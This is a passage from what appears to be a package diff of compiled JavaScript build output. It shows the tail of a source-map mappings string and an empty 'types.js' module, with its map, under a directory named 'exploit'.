AC;IAC1D,KAAK,MAAM,GAAG,IAAI,YAAY,EAAE,CAAC;QAC7B,MAAM,IAAI,GAAG,MAAA,MAAM,CAAC,GAAG,CAAC,GAAG,CAAC,SAAS,CAAC,mCAAI,EAAE,CAAC;QAC7C,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;QACf,MAAM,CAAC,GAAG,CAAC,GAAG,CAAC,SAAS,EAAE,IAAI,CAAC,CAAC;IACpC,CAAC;IACD,MAAM,gBAAgB,GAAG,KAAK,CAAC,IAAI,CAAC,MAAM,CAAC,IAAI,EAAE,CAAC,CAAC,IAAI,EAAE,CAAC;IAC1D,MAAM,MAAM,GAAG,IAAI,GAAG,EAA4C,CAAC;IACnE,KAAK,MAAM,SAAS,IAAI,gBAAgB,EAAE,CAAC;QACvC,MAAM,IAAI,GAAG,CAAC,GAAG,CAAC,MAAA,MAAM,CAAC,GAAG,CAAC,SAAS,CAAC,mCAAI,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC,aAAa,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;QACzF,MAAM,CAAC,GAAG,CAAC,SAAS,EAAE,MAAM,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC;IAC/C,CAAC;IACD,OAAO,MAAM,CAAC;AAClB,CAAC,CAAC;AAEF,eAAe,YAAY,CAAC"}

package/build/exploit/types.js

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=types.js.map

package/build/exploit/types.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/exploit/types.ts"],"names":[],"mappings":""}